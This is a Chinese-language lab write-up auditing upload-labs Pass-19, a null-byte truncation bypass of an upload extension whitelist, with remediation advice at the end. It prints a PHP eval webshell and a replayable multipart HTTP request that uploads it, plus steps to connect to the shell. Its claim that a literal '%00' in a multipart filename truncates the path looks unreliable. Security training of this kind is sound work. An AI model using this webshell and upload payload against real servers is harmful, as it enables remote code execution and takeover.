upload-labs_Pass-19_2026-08-09

upload-labs 文件上传漏洞靶场代码审计报告

一、靶场信息

项目 内容
靶场名称 upload-labs
关卡编号 Pass-19
漏洞类型 第三方上传类空字节截断绕过
审计日期 2026-08-09
目标文件 Pass-19/index.phpPass-19/myupload.php

二、漏洞概述

Pass-19 使用了一个第三方的 MyUpload 类处理文件上传。该类通过 strrchr($this->cls_filename, ".") 获取文件扩展名并进行白名单校验。在 PHP 5.2.x 等旧版本中,文件名字符串中的空字节(%00)会导致路径截断。攻击者可以上传名为 shell.php%00.jpg 的文件,扩展名校验看到的是 .jpg(在白名单中),但 move_uploaded_file() 实际保存为 shell.php,从而绕过校验执行 WebShell。

  • 危险等级:高危
  • 影响范围:PHP < 5.3.4 环境中可上传任意可执行脚本

三、问题代码位置

文件路径Pass-19/myupload.php

问题代码片段(第 113-122 行)

function checkExtension(){
    
    // Check if the extension is valid

    if( !in_array( strtolower( strrchr( $this->cls_filename, "." )), $this->cls_arr_ext_accepted )){
      return "EXTENSION_FAILURE";
    } else {
      return 1;
    }
}

文件移动逻辑(第 143-151 行)

function move(){
    
    if( move_uploaded_file( $this->cls_tmp_filename, $this->cls_upload_dir . $this->cls_filename ) == false ){
      return "MOVE_UPLOADED_FILE_FAILURE";
    } else {
      return 1;
    }

}

重命名逻辑(第 176-200 行)

function renameFile(){

    if( $this->cls_file_rename_to == '' ){
      ...
    }    
    
    $extension = strrchr( $this->cls_filename, "." );
    $this->cls_file_rename_to .= $extension;

    if( !rename( $this->cls_upload_dir . $this->cls_filename, $this->cls_upload_dir . $this->cls_file_rename_to )){
      return "RENAME_FAILURE";
    } else {
      return 1;
    }
}

四、漏洞分析

4.1 为什么存在这个问题

MyUpload 类使用 strrchr($this->cls_filename, ".") 获取最后一个点之后的字符串作为扩展名。如果文件名为 shell.php%00.jpgstrrchr() 返回 .jpg,在白名单 cls_arr_ext_accepted 中,校验通过。随后 move_uploaded_file() 在保存时遇到空字节发生截断,实际保存为 shell.php

4.2 校验逻辑缺陷

  • 第三方上传类未对空字节进行过滤。
  • 依赖客户端提供的文件名 $_FILES['upload_file']['name']
  • 未对最终保存路径进行安全校验。

五、利用思路

攻击者上传文件名为 shell.php%00.jpg 的 WebShell。MyUpload 类校验扩展名为 .jpg 通过,调用 move_uploaded_file() 时因空字节截断保存为 shell.php。后续 renameFile() 可能因原文件名为 shell.php 而失败或重命名失败,但文件已存在于上传目录中。


六、POC(Yakit 可直接重放)

6.1 前提条件

  • 靶场访问地址:http://target.com/upload-labs/Pass-19/index.php
  • PHP 版本低于 5.3.4
  • WebShell 内容示例:
<?php @eval($_POST['cmd']); ?>

6.2 Yakit 重放 HTTP 请求包

POST /upload-labs/Pass-19/index.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="upload_file"; filename="shell.php%00.jpg"
Content-Type: application/octet-stream

<?php @eval($_POST['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundary7MA4YWxkTrZu0gW--

6.3 利用步骤

  1. 在 Yakit 中新建 HTTP 请求并粘贴上述 POC。
  2. 修改 Host 为实际靶场地址。
  3. 发送请求,MyUpload 类校验 .jpg 通过。
  4. move_uploaded_file() 因空字节截断保存为 upload/shell.php
  5. 访问 http://target.com/upload-labs/upload/shell.php
  6. 使用 Webshell 管理工具连接,密码 cmd

七、修复建议

  1. 过滤空字节:在处理文件名前检查并拒绝包含 \x00 的文件名。
  2. 不依赖客户端文件名:使用服务端生成的随机文件名。
  3. 使用白名单扩展名校验:本类已使用白名单,但需配合空字节过滤。
  4. 升级 PHP 版本:PHP 5.3.4 修复了空字节截断问题。
  5. 上传目录禁止脚本执行:从 Web 服务器层限制解析。

安全代码示例

$file_name = $_FILES['upload_file']['name'];
if (strpos($file_name, "\x00") !== false) {
    die('非法文件名');
}

$allowed_ext = ['jpg', 'jpeg', 'png', 'gif'];
$ext = strtolower(pathinfo($file_name, PATHINFO_EXTENSION));
if (!in_array($ext, $allowed_ext)) {
    die('只允许上传图片文件');
}
$new_name = md5(uniqid()) . '.' . $ext;
move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $new_name);

八、参考链接

发表评论

您的邮箱地址不会被公开。 必填项已用 * 标注

滚动至顶部